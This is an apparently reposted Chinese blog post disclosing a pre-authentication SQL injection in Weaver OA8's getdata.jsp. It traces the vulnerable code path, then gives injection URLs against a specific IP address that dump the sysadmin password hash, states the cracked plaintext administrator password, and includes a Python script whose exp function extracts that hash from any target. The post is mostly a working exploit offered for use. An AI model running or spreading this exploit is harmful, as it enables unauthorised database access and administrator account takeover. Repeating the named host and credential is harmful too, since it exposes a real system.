zoukankan      html  css  js  c++  java
  • 泛微OA8前台SQL注入

    漏洞URL:

    http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入点

     

    在getdata.jsp中,直接将request对象交给

    weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :

    方法处理

     

    在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法

     

    Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)

    在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中

     

    在getSelectAllIds(sql,type)方法中,直接将sql参数的值,传递进数据库执行,并判断type的值是否等于5,如果等于5,获取查询结果的requestId字段,否则获取查询结果的id字段

    到此,参数从URL,一直到数据库被执行

     

    根据以上代码流程,只要构造请求参数

    ?cmd= getSelectAllId&sql=select password as id from userinfo;

    即可完成对数据库操控

    在浏览器中,构造测试URL:

    http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id

    页面显示1234

     

    使用payload:

    Select password as id from HrmResourceManager

     

    http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

     

    查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)

     

     

    对密文进行md5对比:

     

    使用sysadmin    123450aA.登录系统

     

    scan.py(python3)

    import requests
    import urllib3
    import argparse
    import hashlib
    parser = argparse.ArgumentParser(description='This is the help!')
    parser.add_argument('-u','--url', help='Please Input a url!',default='')
    parser.add_argument('-i','--ip', help='Please Input a url!',default='')
    urllib3.disable_warnings()
    args = parser.parse_args()
    def Check(url):
    	target = url +"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select 1234 as id"
    	r = requests.get(url=target,verify=False,timeout=8)
    	if r.status_code ==200:
    		print(url+"存在泛微OA8 SQL注入!")
    	else:
    		print("不存在SQL注入!")
    def exp(url):
    	target = url +"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select password as id from HrmResourceManager"
    	r = requests.get(url=target,verify=False,timeout=8)
    	if r.status_code == 200:
    		i = r.text
    		a = i.strip()
    		print("默认账号:sysadmin")
    		print("密码md5值:"+a)
    if __name__=="__main__":
    	if args.url =='' and args.ip !='':
    		Check(args.ip)
    	if args.url !='' and args.ip =='':
    		exp(args.url)
    

      

  • 相关阅读:
    CentOS 7/8修改系统运行级别
    Sketchup 汇总
    [转]Ruby之类的真相
    [转]Ruby之代码块的迷思
    [转]ruby中的异常处理
    [转]ruby中Class的allocate
    [转]ruby中require和load的区别
    [转]ruby之方法查找
    [转]ruby之动态方法
    [转] ruby之对象体系
  • 原文地址:https://www.cnblogs.com/0day-li/p/14637680.html
Copyright © 2011-2022 走看看